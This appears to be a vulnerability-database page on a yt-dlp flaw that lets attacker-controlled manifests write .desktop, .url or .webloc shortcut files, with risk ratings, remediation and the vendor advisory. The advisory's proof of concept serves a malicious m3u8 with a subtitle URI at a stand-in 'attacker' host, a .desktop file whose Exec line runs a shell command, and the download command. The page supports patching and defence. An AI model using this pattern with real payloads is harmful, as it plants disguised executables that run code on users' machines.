Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessLure victim to malicious manifest URL
-
DeliveryServe m3u8 with subtitle URI ending .desktop
-
Exploityt-dlp derives shortcut extension under --write-subs
-
ExecutionWrite attacker payload beside video
-
PersistVictim opens disguised shortcut
-
ImpactExecute attacker shell command
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V5 - File Handling Improper restriction of file name
|
| Exploitation Conditions | The victim must invoke yt-dlp against an attacker-controlled or untrusted URL/manifest AND run with at least one file-emitting option - specifically |
| Impact | Signals are mixed and should be read together rather than off the headline 9.6. The vendor CVSS:3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H) reflects unauthenticated network reach with a scope change, but it folds in best-case post-exploitation: the immediate, reliable impact is an arbitrary file write (integrity), while confidentiality/availability and true code execution depend on the victim subsequently opening the disguised shortcut - a second user action beyond the download itself. Real-world likelihood is further constrained because the victim must (a) feed an untrusted URL to yt-dlp and (b) run with a non-default option such as |
| Exploit ScenarioDerived | An attacker hosts a malicious |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 26, 2026
Arbitrary OS-shortcut file write in yt-dlp before 2026.06.09 lets a remote attacker plant malicious .desktop, .url, or .webloc files on a victim's machine, reviving the attack surface that CVE-2024-38519 was meant to close. Because numerous extractors derive output file extensions from attacker-controlled sources (e.g. an m3u8 EXT-X-MEDIA:TYPE=SUBTITLES URI), a user who downloads from a malicious URL with options like --write-subs will silently receive a shortcut file containing attacker-chosen shell commands or remote-executable links. A vendor proof-of-concept demonstrating code execution via a planted .desktop file is publicly available; it is not listed in CISA KEV, and EPSS is low at 0.54% (41st percentile).
Earlier versions of this analysis (2)
Arbitrary OS-shortcut file write in yt-dlp before 2026.06.09 lets a remote attacker who controls a media URL plant malicious .desktop, .url, or .webloc files on the victim's machine, re-opening the attack surface that CVE-2024-38519 was meant to close. Because many extractors derive output filenames from attacker-controlled manifest data (e.g. an m3u8 EXT-X-MEDIA SUBTITLES URI), a user running yt-dlp with options like --write-subs against a hostile URL can be tricked into writing a disguised shortcut that runs shell commands when opened. A working proof of concept is published in the GHSA advisory; this is not in CISA KEV and EPSS is low (0.54%, 41st percentile), so it represents a credible social-engineering/RCE path rather than evidence of mass active exploitation.
Arbitrary OS-shortcut file write in yt-dlp prior to version 2026.06.09 allows remote attackers to plant malicious .desktop, .url, or .webloc files in the user's download directory, bypassing the CVE-2024-38519 extension allowlist. Exploitation requires the victim to download attacker-controlled media with options like --write-subs, then later open the planted shortcut, enabling phishing or arbitrary code execution. Publicly available exploit code exists via the GitHub Security Advisory PoC, though no public exploit identified at time of analysis in active campaigns and KEV does not list this CVE.
RemediationAI
Vendor-released patch: 2026.06.09 - upgrade yt-dlp to 2026.06.09 or later (release: https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09; fix commit e578e265f7c6ca94a74b30e0d8d6196a4d19fb6a), which strips .url, .desktop, and .webloc from the global extension allowlist and permits them only inside the --write-link workflow. If you cannot upgrade immediately, the vendor advises doing all of the following: pass only fully trusted input URLs to yt-dlp; avoid --write-subs, --write-auto-subs, --embed-subs, --write-thumbnail, --write-all-thumbnails, and --embed-thumbnail; and use --format - to interactively select formats and validate their file extensions before download. The trade-off is functional: disabling the subtitle/thumbnail options removes those convenience features, and interactive format selection breaks unattended/batch automation, so scripted pipelines may need rework. See GHSA-c6mh-fpjc-4pr3 for the authoritative guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
yt-dlp is a Python media downloader (PyPI package yt-dlp) that resolves output filenames partly from metadata supplied by remote servers and playlist manifests. The flaw is a CWE-641 issue (improper restriction of names for files and other resources): the CVE-2024-38519 remediation introduced an extension allowlist in _UnsafeExtensionError.sanitize_extension, but deliberately kept .desktop, .url, and .webloc globally allowed so the --write-link feature would keep working. OS-shortcut formats are not inert data - .desktop Desktop Entry files carry an Exec= directive, Windows .url/Linux launchers can point at remote executables - so allowing them globally meant any download path (subtitles, thumbnails, media) could emit them. The patch (commit e578e265) removes these three extensions from the global ALLOWED_EXTENSIONS set and threads an explicit _allowed_exts=tuple(LINK_TEMPLATES) only through the --write-link code path, so shortcut extensions are accepted solely when the user intentionally requests link-file output.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Unauthenticated remote input (AV:N/PR:N) but requires a non-default option plus the user opening the file (UI:R); the reliable impact is an arbitrary file write (I:H, S:C), with C/A only partial since they hinge on the victim executing the shortcut.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
5DescriptionNVD
Summary
A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.
Details
The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.
Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.
Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.
While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.
Proof of Concept
1. Start a malicious server: Host a malicious master.m3u8 manifest that points to malicious subtitle payloads:
#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"And host the payload.desktop file with malicious content:
[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle2. Trigger the download: In this case, the generic extractor triggers the exploit if the --write-subs option is used:
yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"Result: yt-dlp writes MyVideo.en.desktop to disk, containing the attacker payload.
Patches
yt-dlp version 2026.06.09 fixes this issue by removing .url, .desktop and .webloc from the global file extension allowlist, and by only allowing those file types to be written from within the context of the --write-link options' functionality.
Workarounds
It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.
Users who are not able to upgrade should do ALL of the following:
- Only pass fully trusted input URLs to yt-dlp
- Do not use the
--write-subs,--write-auto-subs,--embed-subs,--write-thumbnail,--write-all-thumbnails, or--embed-thumbnailoptions - Use
--format -to interactively select download formats and validate their file extensions
Blast Radius
ecosystem impact- 6 pypi packages depend on yt-dlp (6 direct, 0 indirect)
Ecosystem-wide dependent count for version 2026.6.9.
Executive ViewAI
yt-dlp before version 2026.06.09 contains a critical code-execution vulnerability that allows attackers to plant malicious shortcut files (.desktop, .url, .webloc) on user systems when downloading media from attacker-controlled URLs. Any employee or automated system using the affected tool can be silently compromised, as the attack disguises executables as subtitle files or other expected downloads. Although exploit likelihood is low (0.54% EPSS), the broad adoption of yt-dlp in media workflows and the recent re-opening of a previously-closed attack surface warrant immediate patching.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Vendor StatusVendor
SUSE
| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
EUVD-2026-38493
GHSA-c6mh-fpjc-4pr3
NVD
CVE.org
EPSS
VulDB
Exploit-DB